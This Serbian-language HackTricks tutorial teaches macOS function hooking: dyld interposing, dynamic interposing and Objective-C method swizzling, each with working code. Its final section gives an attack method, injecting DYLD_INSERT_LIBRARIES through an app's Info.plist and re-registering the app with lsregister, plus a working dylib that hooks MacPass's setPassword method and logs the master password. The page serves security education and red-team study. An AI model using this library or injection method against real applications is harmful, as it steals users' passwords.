macOS Function Hooking

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Interpoliranje funkcija

Kreirajte dylib sa __interpose (__DATA___interpose) sekcijom (ili sekcijom označenom sa S_INTERPOSING) koja sadrži tuple pokazivača na funkcije koji se odnose na originalne i zamenske funkcije.

Zatim, ubacite dylib sa DYLD_INSERT_LIBRARIES (interpoliranje mora da se desi pre nego što se glavna aplikacija učita). Očigledno, ograničenja primenjena na korišćenje DYLD_INSERT_LIBRARIES takođe važe i ovde.

Interpolacija printf

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

DYLD_PRINT_INTERPOSTING okolina promenljiva može se koristiti za debagovanje interponovanja i ispisivaće proces interponovanja.

Takođe, imajte na umu da se interponovanje dešava između procesa i učitanih biblioteka, ne funkcioniše sa kešom deljenih biblioteka.

Dinamičko interponovanje

Sada je takođe moguće dinamički interponovati funkciju koristeći funkciju dyld_dynamic_interpose. Ovo omogućava programatsko interponovanje funkcije u vreme izvršavanja umesto da se to radi samo na početku.

Samo je potrebno naznačiti parove funkcije koju treba zameniti i zamenske funkcije.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Zamena metoda

U ObjectiveC-u se metoda poziva na sledeći način: [mojObjekatIme imeMetodePrviParam:param1 drugiParam:param2]

Potrebni su objekat, metoda i parametri. Kada se metoda pozove, poruka se šalje koristeći funkciju objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(nekiObjekat, @selector(metoda1p1:p2:), vrednost1, vrednost2);

Objekat je nekiObjekat, metoda je @selector(metoda1p1:p2:) a argumenti su vrednost1, vrednost2.

Prateći strukture objekata, moguće je doći do niza metoda gde su imena i pokazivači na kod metoda locirani.

Imajte na umu da se zbog pristupa metoda i klasa na osnovu njihovih imena, ove informacije čuvaju u binarnom obliku, pa je moguće dohvatiti ih pomoću otool -ov </putanja/bin> ili class-dump </putanja/bin>

Pristupanje sirovim metodama

Moguće je pristupiti informacijama o metodama kao što su ime, broj parametara ili adresa kao u sledećem primeru:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Zamena metoda pomoću method_exchangeImplementations

Funkcija method_exchangeImplementations omogućava promenu adrese implementacije jedne funkcije za drugu.

Dakle, kada se pozove funkcija, izvršava se druga funkcija.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

U ovom slučaju, ako implementacioni kod legitimne metode proverava ime metode, mogao bi detektovati ovaj preusmeravanje i sprečiti ga da se izvrši.

Sledeća tehnika nema ovaj ograničenje.

Preusmeravanje metoda pomoću method_setImplementation

Prethodni format je čudan jer menjate implementaciju 2 metode jednu drugom. Korišćenjem funkcije method_setImplementation možete promeniti implementaciju jedne metode u drugu.

Samo zapamtite da sačuvate adresu implementacije originalne metode ako ćete je pozvati iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovanije locirati tu adresu.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Metodologija napada korišćenjem hakovanja funkcija

Na ovoj stranici su razmatrani različiti načini hakovanja funkcija. Međutim, oni uključuju izvršavanje koda unutar procesa radi napada.

Da biste to uradili, najlakša tehnika koju možete koristiti je ubacivanje Dyld putem promenljivih okruženja ili preusmeravanje. Međutim, pretpostavljam da se to takođe može uraditi putem Dylib procesnog ubacivanja.

Međutim, oba opcije su ograničena na nezaštićene binarne/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.

Međutim, hakovanje funkcija je vrlo specifičan napad, napadač će to uraditi da bi ukrao osetljive informacije iznutra procesa (ako ne biste samo izvršili napad ubacivanja procesa). A ove osetljive informacije mogu se nalaziti u aplikacijama koje je korisnik preuzeo, poput MacPass-a.

Stoga bi vektor napada bio ili pronaći ranjivost ili ukloniti potpis aplikacije, ubaciti DYLD_INSERT_LIBRARIES env promenljivu kroz Info.plist aplikacije dodavanjem nečega poput:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

i zatim ponovo registrujte aplikaciju:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Dodajte u tu biblioteku kod za hakovanje kako biste eksfiltrirali informacije: Lozinke, poruke...

Imajte na umu da u novijim verzijama macOS-a, ako uklonite potpis aplikacionog binarnog fajla i ako je prethodno izvršen, macOS više neće izvršavati aplikaciju.

Primer biblioteke

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated